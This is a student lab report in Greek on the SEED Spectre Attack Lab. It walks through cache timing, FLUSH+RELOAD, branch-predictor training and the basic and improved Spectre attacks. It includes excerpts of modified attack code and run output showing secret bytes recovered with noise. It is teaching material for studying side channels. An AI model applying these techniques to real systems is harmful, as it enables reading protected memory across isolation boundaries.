Spectre Attack Lab

Task 1: Reading from Cache versus from Memory

1. Κάνουμε compile τον κώδικα CacheTime.c και τον τρέχουμε 10 φορές:

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o CacheTime
 CacheTime.c
```

```
[04/30/26]seed@VM:~/Spectre_Attack$ ./CacheTime
```

Παρατηρούμε ότι τα array[3*4096] και array[7*4096] έχουν πολύ μικρότερο χρόνο πρόσβασης σε σχέση με τα περισσότερα υπόλοιπα στοιχεία. Άρα αυτά τα δύο στοιχεία βρίσκονται στην cache, ενώ τα υπόλοιπα διαβάζονται από τη RAM. Με βάση τα αποτελέσματα, το threshold των 80 cycles είναι κατάλληλο για να ξεχωρίζουμε cache hit από cache miss.

Task 2: Using Cache as a Side Channel

1. Κάνουμε compile τον κώδικα FlushReload.c και τον τρέχουμε 20 φορές:

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o FlushRelo
ad FlushReload.c
```

```
[04/30/26]seed@VM:~/Spectre_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

Το πρόγραμμα εντόπισε ότι το array[94*4096 + 1024] βρίσκεται στην cache, άρα αναγνώρισε σωστά το secret value 94. Αυτό δείχνει ότι η τεχνική FLUSH+RELOAD λειτουργεί, επειδή το secret δεν διαβάζεται άμεσα, αλλά συμπεραίνεται από το ποιο στοιχείο του array φορτώθηκε στην cache.

Task 3: Out – of – Order Execution and Branch Prediction

1. Κάνουμε compile τον κώδικα SpectreExperiment.c και τον τρέχουμε:

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreEx
periment SpectreExperiment.c
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreExperiment
array[97*4096 + 1024] is in cache.
The Secret = 97.
```

Στην εκτέλεση εμφανίστηκε ότι το array[97*4096 + 1024] βρίσκεται στην cache. Αυτό δείχνει ότι ενώ το victim(97) δεν ικανοποιεί κανονικά τη συνθήκη x < size ο επεξεργαστής εκτέλεσε προσωρινά το true branch λόγω branch prediction και out – of – order execution. Άρα η εντολή μέσα στο if άφησε ίχνος στην cache.

2. Κάνουμε την αλλαγή 1, έπειτα compile και εκτέλεση:

```
int main() {
  int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
  // _mm_clflush(&size);
   victim(i);
  }
  // Exploit the out-of-order execution
  //_mm_clflush(&size);
  for (i = 0; i < 256; i++)
   _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);
  // RELOAD the probing array
  reloadSideChannel();
  return (0);
}
```

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreEx
periment SpectreExperiment.c
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreExperiment
```

Μετά το comment των _mm_clflush(&size) το πρόγραμμα δεν εμφάνισε κάποιο cache hit. Αυτό συμβαίνει επειδή το size μένει στην cache και ο έλεγχος x < size γίνεται πιο γρήγορα, έτσι ο επεξεργαστής δεν έχει αρκετό χρόνο να εκτελέσει προσωρινά το λάθος branch, οπότε δεν μένει παρατηρήσιμο ίχνος στην cache.

3. Αναιρούμε την αλλαγή 1, κάνουμε την αλλαγή 2, έπειτα compile και εκτέλεση:

```
int main() {
  int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
   _mm_clflush(&size);
   victim(i + 20);
  }
  // Exploit the out-of-order execution
  _mm_clflush(&size);
  for (i = 0; i < 256; i++)
   _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);
  // RELOAD the probing array
  reloadSideChannel();
  return (0);
}
```

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreEx
periment SpectreExperiment.c
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreExperiment
```

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreEx
periment SpectreExperiment.c
```

```
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreExperiment
array[97*4096 + 1024] is in cache.
The Secret = 97.
```

Με την αλλαγή victim(i + 20), οι τιμές που χρησιμοποιούνται στο training είναι μεγαλύτερες από το size, άρα κανονικά δεν εκπαιδεύουν τον branch predictor να μπαίνει στο true branch. Κανονικά η αλλαγή αυτή θα έπρεπε να μειώνει ή να αποτρέπει το σωστό training του branch predictor, όμως στη συγκεκριμένη εκτέλεση εμφανίστηκε ακόμα cache hit στο 97. Αυτό πιθανόν οφείλεται σε θόρυβο του side channel ή σε προηγούμενη κατάσταση του branch predictor/cache, άρα το αποτέλεσμα δεν είναι απόλυτα σταθερό.

Task 4: The Spectre Attack

1. Κάνουμε compile τον κώδικα SpectreAttack.c και τον τρέχουμε:

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreAt
tack SpectreAttack.c
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreAttack
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
```

Σε αυτό το task εκτελέστηκε η βασική Spectre επίθεση, στο output εμφανίστηκε πρώτα ένα cache hit στο index 0, το οποίο είναι false positive, και στη συνέχεια εμφανίστηκε το array[83*4096 + 1024], δηλαδή The Secret = 83. Η τιμή 83 αντιστοιχεί στον ASCII χαρακτήρα S, που είναι το πρώτο γράμμα του secret string "Some Secret Value". Άρα η επίθεση κατάφερε να ανακτήσει το πρώτο byte του secret, αλλά με κάποιο θόρυβο.

Task 5: Improve the Attack Accuracy

1. Κάνουμε compile τον κώδικα SpectreAttackImproved.c και τον τρέχουμε:

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreAt
tackImproved SpectreAttackImproved.c
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreAttackImproved
Reading secret value at 0xffffe80c = The  secret value is 0
The number of hits is 1000
```

Στην πρώτη εκτέλεση του SpectreAttackImproved.c, το μεγαλύτερο score ήταν στο index 0 με 1000 hits, το οποίο δεν είναι το σωστό secret. Αυτό συμβαίνει επειδή όταν η restrictedAccess() αποτυγχάνει, επιστρέφει 0, με αποτέλεσμα το array[0*4096 + DELTA] να εμφανίζεται συνέχεια ως cache hit.

2. Αλλάζουμε την παρακάτω γραμμή:

```
  }
  int max = 1;
  for (i = 1; i < 256; i++){
   if(scores[max] < scores[i])
     max = i;
  }
  printf("Reading secret value at %p = ", (void*)larger_x);
  printf("The  secret value is %d\n", max);
  printf("The number of hits is %d\n", scores[max]);
  return (0);
}
```

3. Κάνουμε compile τον νέο κώδικα SpectreAttackImproved.c και τον τρέχουμε:

```
[04/30/26]seed@VM:~/Spectre_Attack$ gcc -march=native -o SpectreAt
tackImproved SpectreAttackImproved.c
[04/30/26]seed@VM:~/Spectre_Attack$ ./SpectreAttackImproved
Reading secret value at 0xffffe80c = The  secret value is 4
The number of hits is 43
```

Στο δεύτερο μέρος του task αλλάξαμε την αναζήτηση του μέγιστου score ώστε να ξεκινάει από το i = 1, αγνοώντας το index 0. Μετά τη διόρθωση το πρόγραμμα δεν επέλεξε πλέον το 0, όμως στη συγκεκριμένη εκτέλεση επέστρεψε ως secret value την τιμή 4, ενώ το αναμενόμενο ήταν

83, δηλαδή ο ASCII κωδικός του χαρακτήρα S. Αυτό δείχνει ότι, παρότι η βελτιωμένη έκδοση μειώνει το false positive του 0, η επίθεση δεν πέτυχε πλήρως στο συγκεκριμένο περιβάλλον.

Συνολικά, τα αποτελέσματα δείχνουν τη βασική λειτουργία της Spectre επίθεσης, καθώς σε ορισμένες εκτελέσεις το secret ανακτήθηκε σωστά μέσω cache side channel. Όμως, τα αποτελέσματα δεν ήταν απόλυτα σταθερά, ιδιαίτερα στο Task 5. Αυτό είναι αναμενόμενο στο συγκεκριμένο περιβάλλον, καθώς το VM τρέχει σε Intel Core i3 – 1005G1, δηλαδή νεότερο Intel CPU, όπου υπάρχουν hardware/software mitigations για επιθέσεις τύπου Spectre/Meltdown. Επομένως, τα λανθασμένα ή ασταθή αποτελέσματα δεν δείχνουν απαραίτητα ότι υπάρχει λάθος στον κώδικα, αλλά ότι η επιτυχία της επίθεσης επηρεάζεται από το hardware, το VM, το threshold και τον θόρυβο στην cache.

Το Task 6 απαιτεί επέκταση του κώδικα του Task 5, ώστε η επίθεση να εφαρμόζεται επαναληπτικά για κάθε byte του secret string. Στο πλαίσιο του εργαστηρίου εκτελέστηκαν οι υπάρχουσες επιθέσεις που δόθηκαν, δηλαδή η βασική και η βελτιωμένη έκδοση της Spectre επίθεσης. Επομένως, το Task 6 δεν υλοποιήθηκε ως νέο πρόγραμμα, καθώς απαιτεί πρόσθετη επέκταση του κώδικα και όχι απλή εκτέλεση υπάρχουσας επίθεσης.